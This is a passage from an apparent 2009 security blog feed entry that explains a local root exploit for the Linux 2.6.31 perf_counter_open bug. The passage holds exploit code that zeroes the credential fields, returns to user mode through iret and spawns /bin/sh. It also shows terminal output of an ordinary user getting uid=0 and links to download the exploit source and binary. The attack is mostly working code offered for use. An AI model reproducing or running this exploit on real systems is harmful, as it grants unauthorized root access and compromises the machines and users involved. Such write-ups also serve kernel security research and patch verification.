                                cred<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> cred<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> cred<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">4</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> cred<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">6</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
                                cred<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> cred<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> cred<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">5</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> cred<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">7</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
                                <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                        <span style="color: #009900;">&#125;</span>
                <span style="color: #009900;">&#125;</span>
        <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>Well, we now need to go back to our process &#8230;</p>
<p><strong>Exiting kernel</strong><br />
Exiting kernel will not be difficult, all we have to do is to prepare the stack and call the <em>iret</em> instruction.<br />
As defined in the Intel manuals, <em>iret</em> returns control to the program. When calling iret the processor pops data from the stack and place it in the <em>EIP</em> register, <em>CS</em> segment register, <em>EFLAGS</em> register, <em>ESP</em> register and finally <em>SS</em> segment register.<br />
The segment registers and <em>EFLAGS</em> will be set to &#8220;standard&#8221; value while we will give an address for <em>ESP</em> pointing to a memory buffer defined in our program (<em>exit_stack</em>), and the address of our <em>spawn_shell</em> function for <em>EIP</em>.<br />
After the <em>iret</em> instruction will be executed we will be back in our program, at the start of the <em>spawn_shell</em> function, in user mode with the root&#8217;s privileges.</p>
<p>Here is the code:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">static</span> <span style="color: #993333;">void</span> exit_kernel<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
        __asm__ __volatile__ <span style="color: #009900;">&#40;</span>
        <span style="color: #ff0000;">&quot;movl %0, 0x10(%%esp) ;&quot;</span>
        <span style="color: #ff0000;">&quot;movl %1, 0x0c(%%esp) ;&quot;</span>
        <span style="color: #ff0000;">&quot;movl %2, 0x08(%%esp) ;&quot;</span>
        <span style="color: #ff0000;">&quot;movl %3, 0x04(%%esp) ;&quot;</span>
        <span style="color: #ff0000;">&quot;movl %4, 0x00(%%esp) ;&quot;</span>
        <span style="color: #ff0000;">&quot;iret&quot;</span>
        <span style="color: #339933;">:</span> <span style="color: #339933;">:</span> <span style="color: #ff0000;">&quot;i&quot;</span> <span style="color: #009900;">&#40;</span>USER_SS<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;r&quot;</span> <span style="color: #009900;">&#40;</span>STACK<span style="color: #009900;">&#40;</span>exit_stack<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;i&quot;</span> <span style="color: #009900;">&#40;</span>USER_FL<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
            <span style="color: #ff0000;">&quot;i&quot;</span> <span style="color: #009900;">&#40;</span>USER_CS<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;r&quot;</span> <span style="color: #009900;">&#40;</span>spawn_shell<span style="color: #009900;">&#41;</span>
        <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p><strong>Last, but not least &#8230; spawning a shell !</strong><br />
Now, we are back in user land (ring3), and as we changed our stack address, and smashed some segment registers (like <em>GS</em>), we will not rely on the libc. So, we will start our shell in assembler. It&#8217;s quite simple: A syscall to <em>write</em> to print a message, and then a syscall to <em>execve</em> to start the shell;</p>
<p><em>spawn_shell</em>:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">static</span> <span style="color: #000000; font-weight: bold;">inline</span> <span style="color: #993333;">void</span> spawn_shell<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
        <span style="color: #993333;">static</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>s <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;Starting shell<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
        <span style="color: #993333;">static</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>t<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span><span style="color: #ff0000;">&quot;/bin/sh&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
&nbsp;
        my_syscall<span style="color: #009900;">&#40;</span>SYS_write<span style="color: #339933;">,</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">,</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span><span style="color: #009900;">&#41;</span>s<span style="color: #339933;">,</span> mystrlen<span style="color: #009900;">&#40;</span>s<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        my_syscall<span style="color: #009900;">&#40;</span>SYS_execve<span style="color: #339933;">,</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span>t<span style="color: #339933;">,</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span><span style="color: #009900;">&#41;</span>t<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p><em>my_syscall</em>:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span> my_syscall<span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span> nb<span style="color: #339933;">,</span> <span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span> arg1<span style="color: #339933;">,</span> <span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span> arg2<span style="color: #339933;">,</span>
                        <span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span> arg3<span style="color: #339933;">,</span> <span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span> arg4<span style="color: #339933;">,</span> <span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span> arg5<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
        <span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span> ret<span style="color: #339933;">;</span>
        __asm__ <span style="color: #009900;">&#40;</span>
        <span style="color: #ff0000;">&quot;mov %1, %%eax ;&quot;</span>
        <span style="color: #ff0000;">&quot;mov %2, %%ebx ;&quot;</span>
        <span style="color: #ff0000;">&quot;mov %3, %%ecx ;&quot;</span>
        <span style="color: #ff0000;">&quot;mov %4, %%edx ;&quot;</span>
        <span style="color: #ff0000;">&quot;mov %5, %%esi ;&quot;</span>
        <span style="color: #ff0000;">&quot;mov %6, %%edi ;&quot;</span>
        <span style="color: #ff0000;">&quot;int $0x80 ;&quot;</span>
        <span style="color: #ff0000;">&quot;mov %%eax, %0 ;&quot;</span>
        <span style="color: #339933;">:</span> <span style="color: #ff0000;">&quot;=r&quot;</span> <span style="color: #009900;">&#40;</span>ret<span style="color: #009900;">&#41;</span>
        <span style="color: #339933;">:</span> <span style="color: #ff0000;">&quot;m&quot;</span> <span style="color: #009900;">&#40;</span>nb<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;m&quot;</span> <span style="color: #009900;">&#40;</span>arg1<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;m&quot;</span> <span style="color: #009900;">&#40;</span>arg2<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;m&quot;</span> <span style="color: #009900;">&#40;</span>arg3<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;m&quot;</span> <span style="color: #009900;">&#40;</span>arg4<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;m&quot;</span> <span style="color: #009900;">&#40;</span>arg5<span style="color: #009900;">&#41;</span>
        <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">return</span> ret<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p><strong>And we are done !</strong><br />
You should now have a root shell <img src='http://redstack.net/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>This is the result on a ubuntu jaunty host with a 2.6.31 kernel (from ubuntu repositories):</p>

<div class="wp_syntax"><div class="code"><pre class="sh" style="font-family:monospace;">xipe@tomate:~/exploit$ 
xipe@tomate:~/exploit$ id
uid=1000(xipe) gid=1000(xipe) groups=4(adm),20(dialout),24(cdrom),29(audio),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(xipe)
xipe@tomate:~/exploit$ ./sys_perf_counter_open_sploit 
Starting shell
# id
uid=0(root) gid=0(root) groups=4(adm),20(dialout),24(cdrom),29(audio),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(xipe)
# uname -a
Linux tomate 2.6.31-10-generic #34-Ubuntu SMP Wed Sep 16 00:23:19 UTC 2009 i686 GNU/Linux
#</pre></div></div>

<p><strong>Exploit code</strong><br />
The exploit code and binary can be found here:</p>
<p>Download <a href="http://redstack.net/blog/wp-content/uploads/2009/09/sys_perf_counter_open_sploit.c">source</a><br />
Download <a href="http://redstack.net/blog/wp-content/uploads/2009/09/sys_perf_counter_open_sploit.gz">binary</a></p>
<p>That&#8217;s all folks ! Have fun !</p>
]]></content:encoded>
			<wfw:commentRss>http://redstack.net/blog/2009/09/24/linux-kernel-2631-perf_counter_open-exploit/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
	</channel>
</rss>

